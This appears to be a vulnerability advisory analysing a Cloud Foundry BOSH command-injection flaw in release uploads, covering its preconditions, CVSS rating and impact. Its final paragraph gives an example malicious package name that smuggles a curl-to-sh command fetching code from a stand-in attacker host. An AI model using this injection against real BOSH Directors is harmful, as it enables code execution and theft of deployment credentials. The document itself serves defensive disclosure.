Cloud Foundry BOSH CVE-2026-41011

Attacker must possess BOSH credentials with authority to upload a release to the Director (a privileged operator role, reflected by CVSS PR:H), and must be able to deliver a tarball whose internal release.MF contains a name value with shell metacharacters that survives until PackagePersister.validate_tgz invokes tar -tf via Bosh::Common::Exec.sh - which executes through /bin/sh -c without Shellwords.escape. Exploitation is limited by the requirement that the Sequel VALID_ID regex would normally reject such a name, so the attacker depends on the create_package ordering bug (shell-out at lines 74-79 firing before package.save), and by the CVSS AT:P / AC:H rating indicating non-trivial attack preconditions; no user interaction is required. Deployments that do not expose release upload to lower-trust tenants or CI systems materially shrink the attack surface.

The CVSS 4.0 vector (AV:L/AC:H/AT:P/PR:H/UI:N) describes a local, high-complexity attack requiring high privileges and a present attack requirement, yielding 8.7 driven by high VC/VI/VA and scope-changed SC/SI/SA impacts - consistent with code execution on the BOSH Director, which then controls every deployment it manages. The PR:H rating is meaningful: an attacker already needs the ability to upload a BOSH release (typically a privileged operator role), so this is a privilege-escalation / tenant-isolation break rather than a perimeter RCE. No EPSS score, KEV listing, or POC was supplied, and the only reference is the vendor's own disclosure blog, so real-world exploitation pressure appears low today; however, the trust model of BOSH - where the Director is effectively root of the deployed estate - means a successful exploit is high-impact. AV:L conflicts somewhat with the typical remote-API upload path used to submit releases; defenders should verify with the Cloud Foundry advisory whether the vendor classifies the API channel as local.

A malicious or compromised operator with release-upload privileges crafts a BOSH release tarball whose release.MF lists a package with a name such as foo;curl attacker.example/x|sh;#, then uploads it to the Director; when PackagePersister.validate_tgz runs tar -tf .../packages/foo;curl ...|sh;#.tgz through /bin/sh -c, the injected command executes as the Director's service account before Sequel validation rejects the name. From the Director the attacker can read deployment manifests, credentials, and CredHub references, then pivot to every managed deployment. No public POC is referenced in the available data.